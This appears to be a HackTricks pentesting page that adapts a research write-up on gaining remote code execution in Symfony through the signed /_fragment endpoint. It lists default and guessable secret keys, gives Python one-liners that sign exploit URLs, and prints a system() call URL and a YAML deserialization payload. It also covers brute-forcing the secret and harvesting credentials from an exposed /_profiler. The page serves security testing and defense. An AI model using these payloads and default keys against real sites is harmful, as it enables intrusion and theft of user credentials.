hacktricks/pentesting/pentesting-web/symphony.md

541 lines
30 KiB
Markdown
Raw Normal View History

2020-11-05 09:58:31 +00:00
# Symphony
2021-11-30 16:46:07 +00:00
## Introduction <a href="#introduction" id="introduction"></a>
2020-11-05 09:58:31 +00:00
Since its creation in 2008, the use of the [Symfony](https://symfony.com) framework has been growing more and more in PHP based applications. It is now a core component of many well known CMSs, such as [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (formerly eZPublish), or [Bolt](https://bolt.cm), and is often used to build custom websites.
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
One of Symfony's built-in features, made to handle [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), is the [`FragmentListener` class](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Essentially, when someone issues a request to `/_fragment`, this listener sets request attributes from given GET parameters. Since this allows to **run arbitrary PHP code** (_more on this later_), the request has to be signed using a HMAC value. This HMAC's secret cryptographic key is stored under a Symfony configuration value named `secret`.
2020-11-05 09:58:31 +00:00
This configuration value, `secret`, is also used, for instance, to build CSRF tokens and remember-me tokens. Given its importance, this value must obviously be very random.
Unfortunately, we discovered that oftentimes, the secret either has a **default value**, or there exist **ways to obtain the value, bruteforce it offline, or to purely and simply bypass the security check that it is involved with**. It most notably affects Bolt, eZPlatform, and eZPublish.
Although this may seem like a begnin configuration issue, we have found that default, bruteforceable or guessable values are **very, very often present** in the mentioned CMSs as well as in custom applications. This is mainly due to not putting enough emphasis on its importance in the documentation or installation guides.
Furthermore, an attacker can escalate less-impactful vulnerabilities to either read the `secret` (through a file disclosure), bypass the `/_fragment` signature process (using an SSRF), and even leak it through `phpinfo()` !
2020-11-05 09:58:31 +00:00
In this blogpost, we'll describe how the secret can be obtained in various CMSs and on the base framework, and how to get code execution using said secret.
2021-11-30 16:46:07 +00:00
## A little bit of history <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
2020-11-05 09:58:31 +00:00
Being a modern framework, Symfony has had to deal with generating sub-parts of a request from its creation to our times. Before `/_fragment`, there was `/_internal` and `/_proxy`, which did essentially the same thing. It produced a lot of vulnerabilities through the years: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy), and [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), for instance.
Since Symfony 4, the secret is generated on installation, and the `/_fragment` page is disabled by default. One would think, therefore, that the conjunction of both having a weak `secret`, and enabled `/_fragment`, would be rare. It is not: many frameworks rely on old Symfony versions (even 2.x is very present still), and implement either a static `secret` value, or generate it poorly. Furthermore, many rely on ESI and as such enable the `/_fragment` page. Also, as we'll see, other lower-impact vulnerabilities can allow to dump the secret, even if it has been securely generated.
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
## Executing code with the help of `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
2020-11-05 09:58:31 +00:00
We'll first demonstrate how an attacker, having knowledge of the `secret` configuration value, can obtain code execution. This is done for the last `symfony/http-kernel` version, but is similar for other versions.
2021-11-30 16:46:07 +00:00
### Using `/_fragment` to run arbitrary code <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
2020-11-05 09:58:31 +00:00
As mentioned before, we will make use of the `/_fragment` page.
```php
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
```
`FragmentListener:onKernelRequest` will be run on every request: if the request's path is `/_fragment` \[1], the method will first check that the request is valid (_i.e._ properly signed), and raise an exception otherwise \[2]. If the security checks succeed, it will parse the url-encoded `_path` parameter, and set `$request` attributes accordingly.
2020-11-05 09:58:31 +00:00
Request attributes are not to be mixed up with HTTP request parameters: they are internal values, maintained by Symfony, that usually cannot be specified by a user. One of these request attributes is `_controller`, which specifies which Symfony controller (a _(class, method)_ tuple, or simply a _function_) is to be called. Attributes whose name does not start with `_` are arguments that are going to be fed to the controller. For instance, if we wished to call this method:
2020-11-05 09:58:31 +00:00
```php
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
```
We'd set `_path` to:
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
The request would then look like this:
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
Essentially, this allows to call any function, or any method of any class, with any parameter. Given the plethora of classes that Symfony has, **getting code execution is trivial**. We can, for instance, call `system()`:
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
_Calling system won't work every time: refer to the Exploit section for greater details about exploitation subtilities._
One problem remains: how does Symfony verify the signature of the request?
2021-11-30 16:46:07 +00:00
### Signing the URL <a href="#signing-the-url" id="signing-the-url"></a>
2020-11-05 09:58:31 +00:00
To verify the signature of an URL, an HMAC is computed against the _full_ URL. The obtained hash is then compared to the one specified by the user.
Codewise, this is done in two spots:
```php
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
```
In short, Symfony extracts the `_hash` GET parameter, then reconstructs the full URL, for instance `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, computes an HMAC from this URL using the `secret` as key \[1], and compares it to the given hash value \[2]. If they don't match, a `AccessDeniedHttpException` exception is raised \[3], resulting in a `403` error.
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
### Example <a href="#example" id="example"></a>
2020-11-05 09:58:31 +00:00
To test this, let's setup a test environment, and extract the secret (in this case, randomly generated).
2020-11-05 09:58:31 +00:00
```
2020-11-05 09:58:31 +00:00
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
```
Now, visiting `http://localhost:8000/_fragment` yields a `403`. Let's now try and provide a valid signature:
```
2020-11-05 09:58:31 +00:00
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'50c8215b436ebfcc1d568effb624a40e', b'http://localhost:8000/_fragment', hashlib.sha256).digest()))"
b'lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm/cmFOh8='
```
By checking out `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm/cmFOh8=`, we now have a `404` status code. The signature was correct, but we did not specify any request attribute, so Symfony does not find our controller.
Since we can call any method, with any argument, we can for instance pick `system($command, $return_value)`, and provide a payload like so:
```
2020-11-05 09:58:31 +00:00
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'50c8215b436ebfcc1d568effb624a40e', b'$page', hashlib.sha256).digest()))"
b'GFhQ4Hr1LIA8mO1M/qSfwQaSM8xQj35vPhyrF3hvQyI='
```
We can now visit the exploit URL: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M/qSfwQaSM8xQj35vPhyrF3hvQyI=`.
Despite the `500` error, we can see that **our command got executed**.
_RCE using fragment_
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
2021-11-30 16:46:07 +00:00
## Finding secrets <a href="#finding-secrets" id="finding-secrets"></a>
2020-11-05 09:58:31 +00:00
Again: all of this would not matter if secrets were not obtainable. Oftentimes, they are. We'll describe several ways of getting code execution without any prior knowledge.
2021-11-30 16:46:07 +00:00
### Through vulnerabilities <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
2020-11-05 09:58:31 +00:00
Let's start with the obvious: using lower-impact vulnerabilities to obtain the secret.
2021-11-30 16:46:07 +00:00
#### File read <a href="#file-read" id="file-read"></a>
2020-11-05 09:58:31 +00:00
Evidently, a file read vulnerability could be used to read the following files, and obtain `secret`:
* `app/config/parameters.yml`
* `.env`
_As an example, some Symfony debug toolbars allow you to read files._
2021-11-30 16:46:07 +00:00
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
2020-11-05 09:58:31 +00:00
On recent symfony versions (3.x), `secret` is stored in `.env` as `APP_SECRET`. Since it is then imported as an environment variable, they can be seen through a `phpinfo()` page.
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
_Leaking APP\_SECRET through phpinfo_
2020-11-05 09:58:31 +00:00
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
This can most notably be done through Symfony's profiler package, as demonstrated by the screenshot.
2021-11-30 16:46:07 +00:00
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
2020-11-05 09:58:31 +00:00
The code behind `FragmentListener` has evolved through the years: up to version _2.5.3_, when the request came from a trusted proxy (read: `localhost`), it would be considered safe, and as such the hash would not be checked. An SSRF, for instance, can allow to immediately run code, regardless of having `secret` or not. This notably affects eZPublish up to 2014.7.
2020-11-05 09:58:31 +00:00
```php
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
```
Admittedly, all of those techniques require another vulnerability. Let's dive into an even better vector: default values.
2021-11-30 16:46:07 +00:00
### Through default values <a href="#through-default-values" id="through-default-values"></a>
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
2020-11-05 09:58:31 +00:00
When setting up a Symfony website, the first step is to install the [symfony-standard](https://github.com/symfony/symfony-standard) skeleton. When installed, a prompt asks for some configuration values. By default, the key is `ThisTokenIsNotSoSecretChangeIt`.
_Installation of Symfony through composer_
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
On later versions (4+), the secret key is generated securely.
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
#### ezPlatform 3.x (latest): `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
[ezPlatform](https://ezplatform.com), the successor of [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), still uses Symfony. On Jun 10, 2019, a [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) set the default key to `ff6dc61a329dc96652bb092ec58981f7`. Vulnerable versions range from 3.0-alpha1 to 3.1.1 (current).
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
Although the [documentation](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) states that the secret should be changed, it is not enforced.
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
2020-11-05 09:58:31 +00:00
Like Symfony's skeleton, you will be prompted to enter a secret during the installation. The default value is `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
2021-11-30 16:46:07 +00:00
#### Bolt CMS <= 3.7 (latest): `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
2020-11-05 09:58:31 +00:00
[Bolt CMS](https://bolt.cm) uses [Silex](https://github.com/silexphp/Silex), a deprecated micro-framework based on Symfony. It sets up the secret key using this computation:
2020-11-05 09:58:31 +00:00
```php
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
```
As such, one can guess the secret, or use a Full Path Disclosure vulnerability to compute it.
If you did not succeed with default secret keys, do not despair: there are other ways.
2021-11-30 16:46:07 +00:00
### Bruteforce <a href="#bruteforce" id="bruteforce"></a>
2020-11-05 09:58:31 +00:00
Since the secret is often set manually (as opposed to generated randomly), people will often use a passphrase instead of a secure random value, which makes it bruteforceable if we have a hash to bruteforce it against. Obviously, a valid `/_fragment` URL, such as one generated by Symfony, would provide us a valid message-hash tuple to bruteforce the secret.
2020-11-05 09:58:31 +00:00
_A valid request to fragment is included in the response_
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
At the beginning of this blogpost, we said that Symfony's secret had several uses. One of those uses is that it is also used to generate CSRF tokens. Another use of `secret` is to sign remember-me cookies. In some cases, an attacker can use his own CSRF token or remember-me cookie to bruteforce the value of `secret`.
_The reverse engineering of the construction of those tokens is left as an exercise to the reader._
2021-11-30 16:46:07 +00:00
### Going further: eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
2020-11-05 09:58:31 +00:00
As an example to how secrets can be bruteforced in order to achieve code execution, we'll see how we can find out eZPublish 2014.07's secret.
2021-11-30 16:46:07 +00:00
#### Finding bruteforce material <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
2020-11-05 09:58:31 +00:00
eZPublish generates its CSRF tokens like this:
```php
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
```
To build this token, eZP uses two values we know, and the secret: `getIntention()` is the action the user is attempting (`authenticate` for instance), `session_id()` is the PHP session ID, and `getSecret()`, well, is Symfony's `secret`.
2020-11-05 09:58:31 +00:00
Since CSRF tokens can be found on some forms, we now have the material to bruteforce the secret.
Unfortunately, ezPublish incorporated a bundle from sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). This package makes sure the secret key is random. It generates it like this, upon installation:
```php
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
```
This looks really hard to bruteforce: `mt_rand()` can yield 231 different values, and `uniqid()` is built from the current timestamp (with microseconds).
2020-11-05 09:58:31 +00:00
```php
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
```
2021-11-30 16:46:07 +00:00
#### Disclosing the timestamp <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
2020-11-05 09:58:31 +00:00
Luckily, we know this secret gets generated on the last step of the installation, right after the website gets set up. This means we can probably leak the timestamp used to generate this hash.
One way to do so is using the logs (_e.g._ `/var/log/storage.log`); one can leak the first time a cache entry was created. The cache entry gets created right after `generateRandomSecret()` is called.
2020-11-05 09:58:31 +00:00
_Sample log contents: the timestamp is similar to the one used to compute secret_
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
If logs aren't available, one can use the very powerful search engine of eZPublish to find the time of creation of the very first element of the website. Indeed, when the site is created, a lot of timestamps are put into the database. This means that the timestamp of the initial data of the eZPublish website is the same as the one used to compute `uniqid()`. We can look for the `landing_page` _ContentObject_ and find out its timestamp.
2021-11-30 16:46:07 +00:00
## Bruteforcing the missing bits <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
2020-11-05 09:58:31 +00:00
We are now aware of the timestamp used to compute the secret, as well as a hash of the following form:
```php
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
```
This leaves us with a total of 231 \* 106 possibilities. It feels doable with [hashcat](https://hashcat.net) and a good set of GPUs, but hashcat does not provide a `sha1(sha1($pass).$salt)` kernel. Luckily, we implemented it! You can find [the pull-request here](https://github.com/hashcat/hashcat/pull/2536).
2020-11-05 09:58:31 +00:00
Using our cracking machine, which boasts 8 GPUs, we can crack this hash in _under 20 hours_.
After getting the hash, we can use `/_fragment` to execute code.
2021-11-30 16:46:07 +00:00
## Conclusion <a href="#conclusion" id="conclusion"></a>
2020-11-05 09:58:31 +00:00
Symfony is now a core component of many PHP applications. As such, any security risk that affects the framework affects lots of websites. As demonstrated in this article, either a weak secret or a less-impactful vulnerability allows attackers to obtain **remote code execution**.
As a blue teamer, you should have a look at every of your Symfony-dependent websites. Up-to-date software cannot be ruled out for vulnerabilities, as the secret key is generated at the first installation of the product. Hence, if you created a Symfony-3.x-based website a few years ago, and kept it up-to-date along the way, chances are the secret key is still the default one.
2021-11-30 16:46:07 +00:00
## Exploitation <a href="#exploitation" id="exploitation"></a>
2020-11-05 09:58:31 +00:00
2021-11-30 16:46:07 +00:00
### Theory <a href="#theory" id="theory"></a>
2020-11-05 09:58:31 +00:00
On the first hand, we have a few things to worry about when exploiting this vulnerability:
* The HMAC is computed using the **full URL**. If the website is behind a reverse proxy, we need to use the internal URL of the service instead of the one we're sending our payload to. For instance, the internal URL might be over HTTP instead of HTTPS.
* The HMAC's algorithm changed over the years: it was **SHA-1** before, and is now **SHA-256**.
* Since Symfony removes the `_hash` parameter from the request, and then generates the URL again, we need to compute the hash on the same URL as it does.
* Lots of secrets can be used, so we need to check them all.
* On some PHP versions, we cannot call functions which have "by-reference" parameters, such as `system($command, &$return_value)`.
* On some Symfony versions, `_controller` cannot be a function, it has to be a method. We need to find a Symfony method that allows us to execute code.
On the other hand, we can take advantage of a few things:
* Hitting `/_fragment` with no params, or with an invalid hash, should return a `403`.
* Hitting `/_fragment` with a valid hash but without a valid controller should yield a `500`.
The last point allows us to test secret values without worrying about which function or method we are going to call afterwards.
2021-11-30 16:46:07 +00:00
### Practice <a href="#practice" id="practice"></a>
2020-11-05 09:58:31 +00:00
Let's say we are attacking `https://target.com/_fragment`. To be able to properly sign a URL, we need knowledge of:
* Internal URL: it could be `https://target.com/_fragment`, or maybe `http://target.com/_fragment`, or else something entirely different (_e.g._ `http://target.website.internal`), which we can't guess
2020-11-05 09:58:31 +00:00
* Secret key: we have a list of usual secret keys, such as `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
* Algorithm: SHA1 or SHA256
We do not need to worry about the effective payload (the contents of `_path`) yet, because a properly signed URL will not result in an `AccessDeniedHttpException` being thrown, and as such won't result in a `403`. The exploit will therefore try each `(algorithm, URL, secret)` combination, generate an URL, and check if it does not yield a `403` status code.
2020-11-05 09:58:31 +00:00
_A valid request to `/_fragment`, without `_path` parameter_
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
At this point, we can sign any `/_fragment` URL, which means it's a garantied RCE. It is just a matter of what to call.
Then, we need to find out if we can call a function directly, or if we need to use a class method. We can first try the first, most straightforward way, using a function such as `phpinfo ([ int $what = INFO_ALL ] )` ([documentation](https://www.php.net/manual/en/function.phpinfo.php)). The `_path` GET parameter would look like this:
2020-11-05 09:58:31 +00:00
```
2020-11-05 09:58:31 +00:00
_controller=phpinfo
&what=-1
```
And the URL would look like this:
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
If the HTTP response displays a `phpinfo()` page, we won. We can then try and use another function, such as `assert`:
_Sample output using `_controller=assert`_
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
Otherwise, this means that we'll need to use a class method instead. A good candidate for this is `Symfony\Component\Yaml\Inline::parse`, which is a built-in Symfony class, and as such is present on Symfony websites.
Obviously, this method parses a YAML input string. Symfony's [YAML](https://yaml.org) parser supports the `php/object` tag, which will convert a serialized input string into an object using `unserialize()`. This lets us use our favorite PHP tool, [PHPGGC](https://github.com/ambionics/phpggc) !
2020-11-05 09:58:31 +00:00
The method prototype has changed over the years. For instance, here are three different prototypes:
```
2020-11-05 09:58:31 +00:00
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
```
Instead of building `_path` for each one of these, we can take advantage of the fact that if we give an argument whose name does not match the method prototype, it will be ignored. We can therefore add every possible argument to the method, without worrying about the actual prototype.
We can therefore build `_path` like this:
```
2020-11-05 09:58:31 +00:00
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
```
Again, we can try with `phpinfo()`, and see if it works out. If it does, we can use `system()` instead.
_Sample output using `Inline::parse` with a serialized payload_
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
The exploit will therefore run through every possible variable combination, and then try out the two exploitation methods. The code is available on [our GitHub](https://github.com/ambionics/symfony-exploits).
2021-11-30 16:46:07 +00:00
## Accessing symphony /\_profiler information&#x20;
2021-07-06 08:22:01 +00:00
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
As you see the screenshot above, there is `sf` logo on the right bottom side of the page. This logo is shown when the Symfony is under the debug mode. There are some cases that this logo doesnt show up, so try accessing `/_profiler` and you will see the page as shown below
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
This feature is called Symfony Profiler, and there is not much information about this feature on the internet. The intention of this feature crystal clear; it helps you debug when there is an error or a bug. Of course, this feature can only be used when the debug mode is enabled.
The Symfony framework itself is very secure, but enabling debug mode will make this framework will make it extremely vulnerable. For example, Profiler has a feature called Profile Search, as the following screenshot.
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
As you see in the screenshot above, you can access all sent requests to the server. By clicking hashes in the token, you will see that all POST parameters can be read, as seen in the following screenshot. With this feature, we can hijack the administrator and users account credentials.
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
2022-02-06 12:02:47 +00:00
### Other Debug Enabled Endpoints
You should also check these URLs:
* **https://example.com/app\_dev.php/\_profiler**
* **https://example.com/app\_dev.php**\
## References
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)****
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)****
* ****[**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)****